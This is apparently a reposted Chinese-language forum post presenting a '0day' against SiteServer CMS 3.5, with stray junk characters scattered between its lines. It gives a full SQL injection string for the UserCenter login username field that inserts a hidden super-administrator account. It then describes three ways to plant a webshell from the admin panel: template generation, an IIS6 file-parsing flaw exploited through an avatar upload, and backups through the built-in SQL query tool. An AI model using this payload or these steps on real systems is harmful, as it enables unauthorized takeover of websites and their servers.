SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
) j6 S% N! ~* X
2 U. ?# m, i" g' i- fstieserver官网:www.siteserver.cn
  r! x# R# U. l' e) d' L
: A5 A4 Y+ P* ]  N

EXP:
0 I% X2 e1 j/ L( n3 L$ E
直接访问UserCenter/login.aspx


6 l8 N# W9 [' _( O
9 ]- b, E3 D, @: g5 e" h( l用户名处输入：

8 r2 i' W% ^5 _: c% Z123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

8 P' B8 `4 l5 }5 \+ F; [1 |# F) H

- n% E' u+ B9 }' F# G% a$ ]密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。


) o+ {" o+ d( v+ j
: W' X3 v# L3 l$ T4 t) L之后再访问后台SiteServer/login.aspx用插入的用户登陆

" F9 _# B' s1 [5 K9 [
6 g: }1 c  O6 t  t1 b7 S
后台拿webshell的三种方法：
9 w1 s9 ~* P7 E* [0 g& B  A; X
一、
+ v' T/ O8 {: N1 ^- [0 R* X
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
. a! y! J" C! g: D; U
' q+ f5 g5 Q2 Q- w二、

8 Y/ l3 }3 S* P7 b! G0 P成员权限-》添加用户-》用户名为：1.asp
2 e# d3 z  t4 m+ m. d: B, I
8 ~5 `) m: k5 z/ q( E$ qhttp://127.0.0.1/usercenter/

用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

( U( }; x8 F5 K2 w5 O1 |6 y（ps：后台添加用户时不会验证是否含有非法字符）
7 f  h+ q- D- A; q! l7 _4 S" g
三、

2 {# ^( @, E* j/ \; K) B& b系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径
) ~4 ~! U6 \/ N# J
系统工具-》数据库工具-》SQL语句查询
' _  z! ^7 v' d4 m这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

5 }, R+ l9 |/ Z